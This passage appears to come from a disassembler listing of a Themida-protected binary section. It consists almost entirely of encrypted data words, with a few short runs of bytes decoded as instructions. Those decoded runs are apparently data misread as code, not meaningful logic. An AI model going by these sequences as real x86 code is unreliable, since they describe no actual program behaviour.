		dd 8ECF016h, 19653F50h,	0C09BDC00h, 98C93A99h, 7FE4BC00h
		dd 388B84D7h, 532C0009h, 4195E3F1h, 2143A78h, 79E034C1h
		dd 0F7F45C01h, 8DC9E95Ah, 1F19D874h, 4087D0E0h,	94580849h
		dd 0B400DDE6h, 28163B33h, 7AC72702h, 0ECCF004Eh, 0ADA9176Fh
		dd 3E00F547h, 0BB067B1Ah, 9321D1h, 3D494A9Eh, 76628D80h
		dd 14F3972Eh, 0DF1C2700h, 701275A9h, 787D607Bh,	11E0DE53h
		dd 689C48h, 0E3162AFDh,	0EE1F3DDh, 9ACA4131h, 0C1DF39E3h
		dd 6C25AF98h, 324A8801h, 4FC8A056h, 913E303Ch, 58318200h
		dd 0BCCCA14h, 0AE83AF07h, 2CF41FB9h, 3C0C0C80h,	35FD30EFh
		dd 4BDEF548h, 350548h, 9CDB75E9h, 1B1F05Ch, 4913A6E4h
		dd 90D48C16h, 61099561h, 18A0C625h, 72C971DAh, 8C923300h
		dd 2AF3632Bh, 24CC79B1h, 2ABD319h, 1B16AE7Eh, 0B809D4D8h
		dd 1824FB7h, 3E052C78h,	35F0BDFDh, 722100BAh, 689187D7h
		dd 5B38EF49h, 0C29484BFh, 4A86484h, 215D3400h, 6D10A839h
		dd 3064AC4Ch, 0B62F40C0h, 0F372003Bh, 640E0348h, 0F5308971h
		dd 50C621DAh, 165C2C21h, 4CBC1F49h, 0E5483A98h,	34004372h
		dd 2EADDABAh, 7688E88Ch, 0FC370429h, 8740B8EAh,	0C8C1B024h
		dd 20002A35h, 0CC7CBBBh, 8CCE1Fh, 66768160h, 2A30A590h
		dd 0D581A099h, 6E8E5D10h, 544F9C42h, 80073930h,	0A777A22Dh
		dd 0F65F80EBh, 7D00D710h, 0F54E6EEAh, 0F4C464Dh, 4041AE35h
		dd 516BFFA0h, 897EA938h, 0AA6E9400h, 1AB59FD9h,	0EA4B0088h
		dd 3378EC84h, 0CCB84604h, 31EBDF00h, 680FBD02h,	0C0C31D18h
		dd 0B587C091h, 65DCAC7Fh, 0F5939F02h, 0C0F02E9Ch, 79166FCh
		dd 56A34FCh, 0C1405F3Bh, 76D5B797h, 94736C00h, 80DBA12Fh
		dd 0BF1B0F87h, 92C02895h, 0F89ADDD2h, 0F48C5F5Ah, 464F03Ah
		dd 35A23B8Ch, 0F3B98098h, 0B200F144h, 2DE2B4DFh, 13069F17h
		dd 40707303h, 32AF40D8h, 709B85Ch, 60516599h, 8F7148h
		dd 0F74B22D4h, 281976AEh, 0A87C901Dh, 246DED00h, 130A702Ch
		dd 0A662CBh, 0D6A01420h, 0E23D8003h, 0F62B0091h, 2FEA8C4Fh
		dd 5BB900C5h, 0F9607BBCh, 0F81DA941h, 37D604A2h, 7E9B4E0h
		dd 4350738Bh, 0DAD8B0F6h, 324CE0E2h, 3CB50B20h,	9C501694h
		dd 0E8B050C0h, 43FF5906h, 6E08E21h, 6B3C5719h, 0F080C86Ch
		dd 0D0E05570h, 40A5D82Ch, 936D4401h, 0D7DCBC8Eh, 4BF50090h
		dd 5EB1CA82h, 0EB587161h, 0D1C50030h, 0D31B7BFh, 546F167Bh
		dd 2158804Ch, 0A7009DB1h, 0AD87A56h, 703ED530h,	8196000Ch
		dd 1485A535h, 0ED2C6CDDh, 0BE015355h, 0B6CF537Ah, 39AB8085h
		dd 24508C45h, 320F389Ch, 790C8077h, 3D05FE5h, 238150C5h
		dd 0F2F85D12h, 15508611h, 0B9082AC4h, 1D9E05E1h, 0BF9A80D0h
		dd 82561E3Ch, 140F62E0h, 0E071A528h, 3FC87275h,	86B51D1Ch
		dd 2CF1E6Dh, 6F205B23h,	37485DE0h, 767151Eh, 0A3969C43h
		dd 0C40ECDA5h, 81F00989h, 2C5F19E4h, 0E04C006Fh, 79631B05h
		dd 0B897E315h, 6E2403C8h, 0C0EE747Bh, 9A40B985h, 927650h
		dd 0B0384F50h, 0CE978083h, 4BBDDB2Eh, 7E6A7A01h, 0E5425189h
		dd 0BE005D3Bh, 0A6D1F106h, 0AB7C970Eh, 0EEB280EAh, 0EA3D381h
		dd 806A9324h, 0A0E5F6E0h, 3B007CAEh, 0B1A92E3Fh, 9B0A19h
		dd 5F14CA34h, 0CDAB92E5h, 0D4609D1Dh, 0B9733C0h, 25866153h
		dd 0AC600739h, 0AF0001A2h, 8E592CC4h, 3CA5B530h, 0AA839474h
		dd 38072DEFh, 0DF4AFC80h, 0FA1AAD01h, 55D6D85h,	0E8F830h
		dd 18FD8BA5h, 0A9520778h, 2D50A85Dh, 7FF810AAh,	701580A4h
		dd 2978D3FCh, 5E003AB8h, 0EAA38385h, 90E791B7h,	160B205h
		dd 642AD37Dh, 60AF9CCBh, 0B40749EBh, 84777C87h,	1780058Bh
		dd 0FFB8B8D0h, 20AC003Ch, 6FFE0452h, 0B100F410h, 7C16FC75h
		dd 0D8839Dh, 0C3611C22h, 53DFD0A9h, 0BC861D28h,	0DE0CACEEh
		dd 108AE9E8h, 0AAD22D15h, 2CC60862h, 3B6BD100h,	88A0547Fh
		dd 0D72501DDh, 73FABC9Dh, 5F3881A7h, 0A2C4B45h,	369AE0EAh
		dd 44795819h, 2534F301h, 0D8352743h, 840FE9AFh,	0C023ED5Dh
		dd 419B050Bh, 8650C06Dh, 0ACEECA44h, 1FA0CD00h,	26FB7ECFh
		dd 0E61EE29h, 93A17430h, 0A8D8EB40h, 0E10E28D3h, 0CA8F7959h
		dd 0A414E3E0h, 0D6BB00A0h, 1A305622h, 0F1191F49h, 0B2D8C5DDh
		dd 0AC26h, 0C3D483B7h, 657439h,	0C41FC5A9h, 0F6447F4Ch
		dd 0A037132Fh, 0CE6D871Ch, 2830F570h, 1F400084h, 61306271h
		dd 5A04FB3Ah, 5675ED24h, 0CBE254D0h, 424024D8h,	4B064000h
		dd 0C409AA6Ch, 27B695CDh, 82A94298h, 0D46AC770h, 2C3C1C5Ch
		dd 89AA00C9h, 4F83E55h,	0BC524002h, 40B6C45Fh, 75FA1754h
		dd 20754841h, 507FD500h, 10A7F158h, 6EDC43Ah, 741A7693h
		dd 7C230220h, 0E81C0630h, 72E53040h, 1D4D9588h,	0C7F493BCh
		dd 0C0A7DD3Ah, 10138950h, 0B8A4DC04h, 0FC88F598h, 0B00105F2h
		dd 0C0CD75D5h, 2D6B6F4Ch, 0A65D5E0Fh, 7B64C057h, 2EECD069h
		dd 8C6D0Dh, 0BEE6121Fh,	0C0C0D2DBh, 0ACED9882h,	75D0051h
		dd 6C232667h, 0EB2DA908h, 0BDBCC897h, 0A53300BBh, 64ECE999h
		dd 610555FAh, 868FBA89h
		dd 87BC00F3h, 45F30386h, 1D673FF2h, 0EE84602Dh,	8295006Ch
		dd 891FCDC1h, 720024B1h, 867B9180h, 94030BB0h, 0CC00270Ch
		dd 96918DBh, 0BC0D172Eh, 0E528B80Eh, 0B40063CDh, 34362059h
		dd 106563D8h, 0E4C88433h, 0B70931DEh, 0C197EC30h, 0DC3D6A74h
		dd 4D408D00h, 6114397Eh, 0E8709900h, 46A60E0Dh,	9D59C00Ah
		dd 3536273Ah, 0FE4886F5h, 0B00EE48Ah, 39785807h, 9304EC24h
		dd 42892AFh, 0E00214FCh, 5893B6C6h, 729F09F8h, 4841B8DAh
		dd 90DCD743h, 700E8460h, 0D6291B0Fh, 0C5CC01Dh,	0A6CB8Ch
		dd 0BCE9B63Dh, 0FDDC6550h, 40BB398h, 9D2B8Bh, 90FBDA74h
		dd 0DFCA005Ch, 84A7B5F6h, 0C905327Fh, 522FD1A5h, 7516CF4h
		dd 0F6CE672Dh, 3AC3AB7h, 17B1E429h, 7D93D7C0h, 750D5624h
		dd 20371200h, 0AA35A5h,	0A8E2C7EEh, 6A16321Eh, 0E802E35Eh
		dd 70194A9Bh, 0C54FCCCh, 86C67D49h, 9C07D2D1h, 0CBB78BB5h
		dd 0E99693E0h, 81580037h, 0B4805EA3h, 5326E8E1h, 0C800B0BCh
		dd 932EE913h, 418CB6DCh, 38823CADh, 95480968h, 0BE6C207Ch
		dd 0F19626Fh, 0B4F99C77h, 56AA3B20h, 93005C3Fh,	0A3250FC5h
		dd 1D2705CAh, 8EB72079h, 96E08798h, 1B1D6216h, 0B30E0D75h
		dd 7C973A1h, 0E0435F90h, 0B56AE0D0h, 3ACD0042h,	977D5C1Ch
		dd 70008432h, 0AE4B0CDEh, 985326h, 752B92ACh, 47D3565Ch
		dd 6C932300h, 4F142D45h, 709701FDh, 4349F91h, 4806810h
		dd 923EE35Fh, 0F4E51F80h, 0CB790794h, 77B357C3h, 9F54E167h
		dd 30D9D428h, 2A480A0Eh, 0E2F0673Bh, 94B81A03h,	0D401A0A8h
		dd 54724943h, 0E8A4300Eh, 6F0B5C00h, 2B83D7E1h,	0B7A7FC6h
		dd 71F9E0E2h, 90565880h, 5EE89C61h, 40AB6524h, 7D44901h
		dd 19E8D073h, 92B000A4h, 0E3EBBF5Dh, 3E00EF44h,	0B3D8651Ah
		dd 1CB4EDh, 7B8C9573h, 6859AA60h, 0C0FC839Fh, 74F935Bh
		dd 0D7DE1388h, 0CC363024h, 0F2004EFFh, 8E199737h, 9D3F708h
		dd 0C054D1A4h, 5E754C80h, 905CCBFFh, 0E069336Ch, 1948D00Dh
		dd 27521344h, 0F6CCE06Fh, 0C2D06C00h, 8CC9FD92h, 9BF400BBh
		dd 0E7F98BEDh, 3712E448h, 0F0409C01h, 0F5ADC1ACh, 61030038h
		dd 15FF092Eh, 3000D722h, 1FA4D427h, 1371AAF6h, 952B8Ch
		dd 1549BC98h, 0A99713A5h, 0E4CD22Ch, 0E904FED4h, 84266620h
		dd 0D119FF46h, 0BC10EA7Ah, 0F0F3B1E1h, 9AA26168h, 7E1E2504h
		dd 81007C0Fh, 770C056Bh, 7AED08C0h, 580AE78Ah, 0BD00725Fh
		dd 0F0317624h, 7700AF81h, 0A4479FBBh, 0DDA385h,	22E30E4Fh
		dd 29D8548Fh, 84BE3Ch, 0A46B30D4h, 17106292h, 0F1F436h
		dd 7A25B89h, 99C09B9Eh,	0E920E3F8h, 0E01308Dh, 0BADB2B21h
		dd 0A6073A03h, 86CDC69Bh, 0A3ECA8h, 6EF02F73h, 0E522F8CCh
		dd 68005D7Ch, 0D3AB6081h, 167495E4h, 1FAAB819h,	2E1F80D1h
		dd 231C02E9h, 2B76D507h, 0E681218Bh, 69C45DE7h,	8AD00E2Ch
		dd 90403EA9h, 993A849Ch, 0C58D7F00h, 0BE3B755Ah, 59F00009h
		dd 0BDE8FDE7h, 747511A5h, 7CB4AC01h, 2F82DAEEh,	1E831D20h
		dd 407805C3h, 6DBDBA56h, 86006111h, 0CA73188Bh,	0F07F3968h
		dd 0AE830E85h, 0F7601416h, 9D91B7D5h, 416CCEA1h, 0E825EAC8h
		dd 0DA4841F1h, 0A899012Fh, 0C829F15h, 20FAE0h, 0F8F0905Fh
		dd 89EAB627h, 0ECA8FBFAh, 0DE00A0FCh, 4DEC1C30h, 0BB4964h
		dd 5877694Fh, 0E21F02C0h, 44FEF124h, 0D607D03h,	0ECE5FFF6h
		dd 4790BC01h, 37F4FCEFh, 20E8009Fh, 0E2FB3D0Fh,	973A09E5h
		dd 0EAE075FFh, 81B9C63Bh, 0F979FE13h, 81BEF21Dh, 0A1081B30h
		dd 0ED00918Bh, 98381494h, 0E1C26D3h, 88975F1h, 548471A0h
		dd 9F0FE110h, 80CC1B0Dh, 5E6927F9h, 47B90240h, 8FC29909h
		dd 0E2DBF85h
		db 0DEh, 0EAh
word_505446	dw 226Bh		; DATA XREF: ___:off_4374B8o
; ---------------------------------------------------------------------------
		push	1C69E898h
		db	36h
		xchg	eax, ebx
		and	dword ptr [edi], 0AAE0A88Fh
		nop
		dec	eax
		jnp	short loc_50548D
		sbb	al, 0ADh
		scasd
		icebp
		or	al, 0C7h
		retn	0D931h
; ---------------------------------------------------------------------------
		dw 0A1Dh
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 77h,	0, 45h
		dd 0D6AF57D5h, 8F1F0304h, 0ACC68C2Bh, 0CE542900h, 26C50641h
		dd 0C270079Ch, 70CC8187h, 0E2663834h, 6B3AB07h
; ---------------------------------------------------------------------------
		cld


loc_50548D:				; CODE XREF: Themida_:00505457j
		mov	[eax-6Eh], edx
		fxch7	st(7)
		sub	[ecx+ebp*2], ebx
		or	gs:[ecx+5972BDA3h], eax
		push	ds
		clc
		lock dec edi
		add	[ebx+1B305421h], dl
		insd
		fidiv	dword ptr [edi+6936FD06h]
		aaa
		inc	byte ptr [ecx+1Dh]
		add	esp, [edi+21h]
		push	ds
		pop	edx
		cmp	eax, 92E36D0Fh
		mov	ds:0F33E614Ah, eax
		db	36h
		cmp	al, 18h
		xlat
		pop	ds
		insb
		adc	ebx, [eax+14h]
		adc	[ecx+2B2C0031h], cl
		xchg	eax, ebx
		wait
		dec	edi
		inc	ebx
		fadd	qword ptr [ecx+0]
		db	3Eh
		inc	edx
		and	bl, bh
		jno	short loc_5054F9
		retn	0F33h
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		dd 0FAB8A75h, 0E16A4083h, 6C8357Dh, 0B8A0A12Bh,	40F0815Ch
		dd 14CE4100h
		db 7Dh
; ---------------------------------------------------------------------------


loc_5054F9:				; CODE XREF: Themida_:005054DAj
		lea	eax, [edi-79FF74F3h]
		retn	9A4Eh
; ---------------------------------------------------------------------------
		dw 77C5h
		dd 711820B0h, 3F3101B8h, 0B2991CE4h, 0A002C057h, 9AC40E88h
		dd 8903F172h, 0E14EC773h, 0B750014Ah, 408390D3h, 66D08150h
		dd 5BFCC01h, 3130E0F5h,	0C2D1C074h, 0C52BBBFAh,	4052461Dh
		dd 71E57A80h, 18094C50h, 1124A267h, 6843A072h, 3E9C4002h
		dd 3D206B37h, 0C1A64309h, 0C5850241h, 0F8045952h, 10D3C7BAh
		dd 0E24CC71Fh, 2521D0h,	661D64Eh, 0FDE63AF1h, 223B093Ah
		dd 0B6900075h, 0A69BC7DBh, 25FA8938h, 39DA5906h, 776116BDh
		dd 50C40072h, 0C9712E7Ch, 70748EC7h, 5B216961h,	7CC0C451h
		dd 0EB64043Ah, 8014E60Ah, 57227F10h, 58A08A70h,	0E4827E5h
		dd 0EA440010h, 86FB9331h, 870C005Dh, 0CD9FD1E8h, 81606602h
		dd 0FD47B831h, 0EF40C301h, 187484E3h, 0BFF99400h, 0D0CB05F8h
		dd 0BDBE023Eh, 0C431E2F7h, 0DCD88CA3h, 0CCF431C6h, 0C3BF0414h
		dd 7AB200E2h, 3234387Bh, 0E6277445h, 473B068Dh,	41626D51h
		dd 7B2E507h, 6E90DCE2h,	0CC5B44D0h, 8217908h, 5707C824h
		dd 569D9700h, 711876h, 5BE843Bh, 0E2A198E5h, 0B4B852h
		dd 0F172B59Eh, 46B423h,	55A93132h, 0FD965EDEh, 507AA9C0h
		dd 3BE387CAh, 0C9601509h, 58DA1980h, 0F004A4A2h, 0D64B6064h
		dd 0B906105Eh, 0BF22C83Ch, 50D65383h, 83F70CD1h, 0C4CBCAC7h
		dd 0DD9440B5h, 0B7E84DE2h, 0E838482Ah, 0C7E3B200h, 0CC7D7534h
		dd 5D7601A9h, 0F04D3032h, 0C3EBF47Fh, 6641DD62h, 0E298905Bh
		dd 0E7C20157h, 0BF48E3ECh, 8DDCFD49h, 9138806Ch, 31847AE5h
		dd 0F061964Ah, 0A6EEDE87h, 0DDAFC103h, 0A316A55Eh, 8AF81024h
		dd 0AA428457h, 54D64D30h, 7CF00668h, 45072191h,	1030DBB5h
		dd 0E261AE0Fh, 0A1A06C02h, 0A471BCAFh, 748B5CB8h, 5CC17FC8h
		dd 9ACCB992h, 0E7620581h, 88F938Ah, 618A71A0h, 8308EC33h
		dd 0B4E58C76h, 0EA00C099h, 2B3F110Eh, 0B810B728h, 0E5250082h
		dd 0DC4EA694h, 8036FCFBh, 46F83153h, 0D64C0237h, 0B1A10633h
		dd 3E1079F8h, 2B00DBB4h, 147525CFh, 0CA76B8Fh, 18BCDE3Ah
		dd 32070BA1h, 5D685817h, 0E70FE0C1h, 60E56024h,	619549B1h
		dd 0FCF76D08h, 40012753h, 6664B358h, 0BC014742h, 0DB51808Fh
		dd 1ACE4F81h, 0A740009Eh, 5E2CFF96h, 8A406E9Bh,	0B7850A44h
		dd 8388E5F0h, 0AD22DEA2h, 15E9E1D8h, 8917D33h, 0C021009Ah
		dd 0C63B2236h, 9704130Fh, 85302E70h, 0DC084094h, 0C45AC074h
		dd 0A6217C4Dh, 38869170h, 1FC38392h, 0A95B06A7h, 836A3AD4h
		dd 30C95CA5h, 0B2599C35h, 7693EC47h, 0DA44E700h, 249702F1h
		dd 25CD4E75h, 0F7002866h, 3C15E6B5h, 389FED94h,	88065C8h
		dd 3B2477F6h, 5B05DCC7h, 6209E912h, 0F5E9842h, 600F0901h
		dd 84206389h, 1A69D425h, 56D3A02Ch, 817E7100h, 0E089EBF2h
		dd 0F7B509D6h, 0A011A37Ch, 9B0310C8h, 0EE3A04F3h, 0C270767Bh
		dd 0AC304B60h, 0DCE81107h, 807788D2h, 0DE07CA06h, 0E326A16Ah
		dd 71409C38h, 907DD24Ch, 56D84C30h, 0B2001C52h,	0D46DE84Bh
		dd 34B18334h, 0B2187679h, 96A90F00h, 5325713Ch,	3C5050D2h
		dd 60D40F6Ch, 0A41EF306h, 0B81A4044h, 1400AC56h, 1B9CFCAFh
		dd 2616C613h, 88F81FBEh, 250451EAh, 6E40E7EFh, 687D6705h
		dd 472CD700h, 46BA726h,	0FAECA09Dh, 0EC560F6Ch,	0DC005D34h
		dd 20D9FC80h, 0A4E51B24h, 536E840h, 57E600A4h, 83560F86h
		dd 0DF00153Bh, 0C0B5ADD8h, 268AC1C5h, 96D48D69h, 5C5420BCh
		dd 9D00D822h, 94AD177Fh, 512D69h, 0C6882F7h, 8086C048h
		dd 7A466492h, 4BC43402h, 0B4C7367Ch, 894CB409h,	5CB58050h
		dd 4D6427Eh, 0A8A7E063h, 8E0855Bh, 3CC1B5B4h, 91EDBF22h
		dd 0C2889E18h, 8C221D74h, 94B58236h, 0AE80B26Ch, 21482ED4h
		dd 547F8E29h, 12188A79h, 21B6CD01h, 0B7DA8BAh, 5AE78D0h
		dd 0D522459h, 799C82DAh, 5D666221h, 0A40424h, 0B3E77DA1h
		dd 27102436h, 0ECE30C1Dh, 665C5383h, 0A529005Eh, 91C37C71h
		dd 0F1071AC8h, 0D9ECCBEBh, 0E55EA430h, 0C0CDECB7h, 790B9BE9h
		dd 300759Eh, 0ED8134Fh,	1760A957h, 2AD4D1Ch, 0F0704840h
		dd 8611789Dh, 63740493h, 5E89477Eh, 30818B66h, 1319B3E5h
		dd 2900FD92h, 0E2E4760Eh, 1C4EA1E7h, 0B577A9h, 0DB9F9C86h
		dd 5329852Eh, 0E287E4EFh, 41B4A922h, 0BC207962h, 726227Ah
		dd 0C8811FAh, 0F5AB4044h, 13546639h, 1F00F098h,	4DFBEB08h
		dd 756D15BAh, 97510359h, 69B29068h, 0EC4162D2h,	42A1861h
		dd 51065DD6h, 277B323Bh, 74D63044h, 3800370Ch, 499E18D0h
		dd 493050D9h, 784974BDh, 45941424h, 0BA9C4021h,	0F0EF0CF5h
		dd 0B83A2626h, 9D76D200h, 9E904CDh, 1B744A94h, 0FD8D9818h
		dd 0F7C57D39h, 0D608899h, 148F54D3h, 0BC8AD98Bh, 0BB80BA88h
		dd 4C28A74Eh, 628E00E8h, 843A74CDh, 3506CE32h, 6721F4A5h
		dd 0CF520299h, 692A59C4h, 197984C0h, 164474EDh,	67005491h
		dd 58459C65h, 4D4E0349h, 1DF98315h, 2BF2297Dh, 0FA7A5300h
		dd 0C60B2E45h, 0C240271h, 227C0FC4h, 79C96C20h,	588E802h
		dd 100A4FD4h, 1E048068h, 0C9C0FADCh, 40D7730Eh,	0F4824CC0h
		dd 0AF005023h, 6ADCDF07h, 76458686h, 6CC8C5F9h,	46ED39DDh
		dd 0C306FA85h, 748C4350h, 40BB62B4h, 286EB2E0h,	0C1F42707h
		dd 81F34B71h, 0B82900EDh, 83C65B96h, 7D0A75CDh,	0EC55B59Ch
		dd 248B608h, 83F2ADFAh,	0B9E1440h, 0C7003AECh, 506DE9E0h
		dd 16674A0Ch, 1C11944Fh, 70E58671h, 4D010856h, 0B46EC666h
		dd 30BAE94Fh, 14628018h, 0D970E224h, 96633300h,	8C5DE11Ah
		dd 0BD5901C7h, 736BBC56h, 0A5108389h, 8F5E0DB2h, 0FAB80150h
		dd 8480181Ah, 4FE79009h, 3C55A90Bh, 0D45C8023h,	6BDC85h
		dd 4E526E84h, 0E647BDE3h, 8FAC2CF1h, 0E58E4041h, 3AE1486Eh
		dd 0DE3D8128h, 5D616781h, 0F0327842h, 25F8623Ch, 27763E01h
		dd 4677F35Ah, 0E886FDE0h, 0F710C031h, 726DAB93h, 69E85C18h
		dd 4260ACh, 6624EA2Eh, 0D0E5D961h, 598F4303h, 0C0E127D4h
		dd 694F180h, 0E0EC6255h, 0E9030805h, 0CEF75D24h, 0CF49E042h
		dd 0C57DE5h, 7A5E3FDEh,	9D683E59h, 43D64AAh, 0F6EFE177h
		dd 51080ADh, 75FBF9A2h,	97FA0086h, 1879217Dh, 84310A85h
		dd 0B1AC18FEh, 135EB870h, 0CE7DDE9Bh, 0C079C878h, 0D2580569h
		dd 46275E00h, 26AB70EEh, 9F130BF8h, 1A80C780h, 47D4D50Ch
		dd 8B20C200h, 0FDC58676h, 828E165h, 23102F5Ah, 485A0276h
		dd 707AEEE5h, 17232F00h, 0D25DCBEFh, 0EAD800CEh, 33958728h
		dd 75026425h, 0B807FAE8h, 5D888026h, 61864832h,	81FDA8BFh
		dd 6618387h, 0EA0DD90h,	0D59FE3C1h, 24A7AFAEh, 0B2EBD452h
		dd 3080E238h, 0DD27B46Bh, 0E54CA56Fh, 0EE00D85Eh, 8A2C954Eh
		dd 84ECAFh, 0B8B9CADEh,	6BA50B32h, 8998380Ch, 0AA790E9h
		dd 0F9140A4Fh, 0A01727E4h, 19807991h, 0EE117C25h, 0E865C38h
		dd 6A9AFCE5h, 0DE968C83h, 0AB9488h, 0E1CFF704h,	8BEB3D7Ah
		dd 0FD0658B4h, 18C19A80h, 3173FAB8h, 0A0409DFh,	868BC721h
		dd 2894F5h, 8C11BCh, 1522CE06h,	3378D71Bh, 0F408625Eh
		dd 0C481CF3Fh, 187E7C4Eh, 4B55886Ch, 7AB2C400h,	7E519182h
		dd 8869526Fh, 39926C00h, 0C92D2E7Ch, 9CE65B00h,	4B7EA583h
		dd 0A68C004Ah, 6D12EC23h, 349272DCh, 49B8620Ch,	0B0F6115h
		dd 86C9367Ch, 0A454C040h, 0A7254D3Fh, 0D6AC264Ah, 2D852D09h
		dd 8195B8A0h, 8A7048A8h, 68028C7Dh, 0A9988470h,	7DF48074h
		dd 0C0451181h, 5BE59320h
		dd 0F81F84D3h, 0C7413137h, 14A13F1h, 59857884h,	6EE0808Fh
		dd 0AE516008h, 0CCB841E4h, 66C40016h, 45EC3DE9h, 909EC8D5h
		dd 202A9AF7h, 4670C47Bh, 78C864A1h, 0E71CD8B6h,	0A3B2223Dh
		dd 0BBC43909h, 0E1223F12h, 502DA505h, 198F8841h, 0D0921136h
		dd 6AFC070Ch, 98C8C492h, 0D6084FB4h, 0C4590632h, 0B747407Fh
		dd 79180DBh, 0AE303A5h,	744CCB12h, 0EFBFE91Ch, 0F76CE2C0h
		dd 14A8D3Ch, 0DCC46561h, 549D3032h, 0DAEC04C0h,	44930A63h
		dd 764656h, 198C264Bh, 70E79269h, 0B1BF1285h, 8D88214Dh
		dd 8BE0C6Ch, 42DC3607h,	44310C4h, 4DF00764h, 9D07164Eh
		dd 0E52AF113h, 3BB8C429h, 0EE83CC47h, 0FEBC8318h, 0E5AF101h
		dd 95441EF7h, 526ED8h, 66629289h, 75D87086h, 1078094Ch
		dd 7124E351h, 0B1E907F0h, 1EF6707Dh, 0FA09EC63h, 0A1CE117Fh
		dd 965E7510h, 623C1469h, 6D025300h, 0CEDC4DE2h,	47FA19C0h
		dd 1C59E563h, 0C291E8D5h, 0E67C246Fh, 5746FCD8h, 3C07A802h
		dd 1131B2DCh, 7CBA210h,	673C2F00h, 2182393Dh, 6D7907EDh
		dd 405CC27Eh, 0E2F91996h, 4C888948h, 402C3F6Ch,	2231787Ah
		dd 92798FF4h, 89DAC0C8h, 7898CDE3h, 1CEC3EFEh, 0E6DF6003h
		dd 1052AC03h, 86929BF0h, 997466h, 0AC2BB6B9h, 91C8D72Ch
		dd 0DB9FFC00h, 543C290Ch, 0A761094Bh, 453836Ah,	0E250D558h
		dd 4D1E00AAh, 0CE79E9EAh, 0CB280FDCh, 0A509C489h, 342B019h
		dd 302BCE0h, 60AAF4C1h,	74D017C6h, 35019618h, 0DE992DBFh
		dd 220FA33h, 835C0CD8h,	0E548CFB1h, 5179B767h, 0B0C18F90h
		dd 0D16F1D84h, 0AE9D71h, 0E33DAB5Eh, 0F9CFC9FDh, 0E179A025h
		dd 91861ADCh, 1875D1D4h, 65B00211h, 0BCC43C51h,	0FB03A864h
		dd 5D61607Bh, 2590C0A1h, 74C90CEh, 0B8AC8183h, 8B93057Fh
		dd 0C076C8C0h, 4D74CF99h, 45830D25h, 6075C450h,	0FC826F5h
		dd 0CAA22DDCh, 0F0908269h, 561262DAh, 0C8B22C6Eh, 603277F2h
		dd 95E58C43h, 0E7CFBCA0h, 36001FBBh, 92DB4FFh, 2D4F8F1Bh
		dd 0F4970D45h, 2C806C91h, 0CD88E1E5h, 44E38F13h, 0EA10F83Ah
		dd 0BBBFC051h, 1CBD7E5h, 0D2B8485Eh, 326F4D90h,	58CD2C98h
		dd 190374Bh, 0B99825C4h, 64518497h, 0C0C003AEh,	249B5C3Dh
		dd 258B821h, 7BED954Fh,	30E40E61h, 870504ACh, 400B7173h
		dd 838034DBh, 0F8D7E44Bh, 82183300h, 84F4D832h,	80E95471h
		dd 7AFD1A75h, 40B7B115h, 45AF6780h, 632668FCh, 0B535D862h
		dd 2FE73AA8h, 0EAC33E01h, 8CE5175Eh, 0DFC13980h, 44E91F31h
		dd 3D348F00h, 7AAAA8B5h, 6B7E0127h, 4C4014B4h, 525AD0B8h
		dd 0CA4D530Ah, 0A20120E2h, 3D193A4Ah, 165580D0h, 8772436h
		dd 0E1C1B8D8h, 99EDB022h, 0C1889518h, 0A9220039h, 0DCAF743Eh
		dd 98140599h, 2CD4E5EDh, 0FD031879h, 968E1116h,	0F15E18D9h
		dd 0E56241FFh, 0FC092402h, 0C157CED0h, 0B5C82520h, 0F8942561h
		dd 4124E027h, 40ACD4D8h, 9D3872F3h, 5A76F607h, 52C025C1h
		dd 9758F5DEh, 1283F4B5h, 0E395756Ch, 7187D857h,	94289980h
		dd 0D00A8E5h, 70B76EDEh, 1624D90Bh, 5B120056h, 3AB0B8E6h
		dd 0C12CF9ACh, 0A20FDD47h, 0D401D389h, 796B0FE0h, 0B817E2A5h
		dd 26817691h, 720D37E3h, 44863A6Ch, 6E80005Ch, 9304BBA4h
		dd 5400CE1Ah, 0EFF1B558h, 0FEFA8DCCh, 8B5A4B80h, 0CE6E8844h
		dd 411ECD0Eh, 0EBD68C5Dh, 84902358h, 602620Bh, 0A4E95FE0h
		dd 38002F82h, 0B5DE2A22h, 937F27F7h, 24BCAC48h,	0D0C369C0h
		dd 6F6A64h, 95395363h, 111F3654h, 19A63A02h, 40DC4F85h
		dd 28A56D60h, 98A88F5Dh, 8BC9168h, 0C9606C92h, 5CDC3D07h
		dd 5E0285Ah, 61000737h,	866F233Fh, 1350EEF4h, 0A4985EDBh
		dd 0FA1905FCh, 0F5686771h, 75444FAh, 786CEA02h,	0EFDAD02Ah
		dd 510CB292h, 0E0DB60A4h, 60AF4568h, 0D091378Ch, 5DB008B1h
		dd 0C884D421h, 1176C0Dh, 7AEF97E0h, 0D02318D9h,	90338BA2h
		dd 2721DE3Bh, 64107B02h, 0E8418BF8h, 48E07C31h,	0F476F324h
		dd 8C737050h, 2AC45F04h, 1CAC5E7Ch, 0C457B1B0h,	9F8F743Ah
		dd 7E380BE2h, 0D207F818h, 4E65FD58h, 0A79CCC76h, 0C020CF4Ah
		dd 0D7AC71h, 510B9E5Bh,	0BA1F06B0h, 4304EB01h, 0E8D99ADEh
		dd 6F16D980h, 0D7ADFA25h, 40682400h, 57E953FEh,	0FD20C573h
		dd 2CECC284h, 4451C46Ah, 0E6187479h, 0D0041E4h,	259869D7h
		dd 448E197Eh, 2B4AF85Eh, 69A78C00h, 7EFCCCC2h, 5E689C75h
		dd 602E0B46h, 95090066h, 4F06AEC3h, 842E404Ah, 0E5000B23h
		dd 10F50C96h, 726303BAh, 863AF10Ah, 0B7D2D903h,	0C4FCD546h
		dd 0C4C040F8h, 0D94CF169h, 5B2BB802h, 402534BCh, 14FAE750h
		dd 0D4CDEAB6h, 0D50531C0h, 0B0756481h, 0A607100h, 9B0245F2h
		dd 754D0FE2h, 0D2C62A3Fh, 0F96470AAh, 0FCC8EF39h, 476705B4h
		dd 0CE2E0233h, 52118438h, 46DEF530h, 0C2FB7802h, 4463A83Ch
		dd 376C04F8h, 40C76D62h, 5DD5E728h, 50200954h, 0BC224DDFh
		dd 5C4846E2h, 0E6046CFDh, 3D5ED5FAh, 95D944B5h,	0FEB102F7h
		dd 579E482Eh, 3691745Eh, 4FC43880h, 8C91567Ch, 0C45058C1h
		dd 0CE84E0C2h, 88C0F5E8h, 3511EE35h, 0F010FF1Eh, 0DD0486ECh
		dd 0CB6301F5h, 68CD14CDh, 0B82CE869h, 0F0025BECh, 0B11EE516h
		dd 56E4CA72h, 76465CB8h, 46EDDE1Fh, 0E8799BF8h,	0C267DF04h
